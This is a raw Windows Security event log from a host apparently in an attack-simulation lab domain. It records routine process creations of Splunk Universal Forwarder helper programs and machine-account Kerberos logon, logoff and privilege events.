C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:53:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256890 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:53:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256892 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4717E7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:53:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256895 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x477283 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:53:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256894 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x477283 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59158 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:53:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256893 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x477283 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:54:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256896 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:54:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256897 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:54:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256898 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:54:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256899 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:54:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256900 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:54:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256902 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x640 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:54:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256901 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:54:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256905 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x47A824 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:54:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256904 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x47A824 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59171 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:54:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256903 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x47A824 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:55:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256906 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:55:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256907 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:55:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256909 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:55:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256908 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46F38D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:55:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256910 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1048 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:55:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256911 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:55:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256913 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:55:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256912 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: 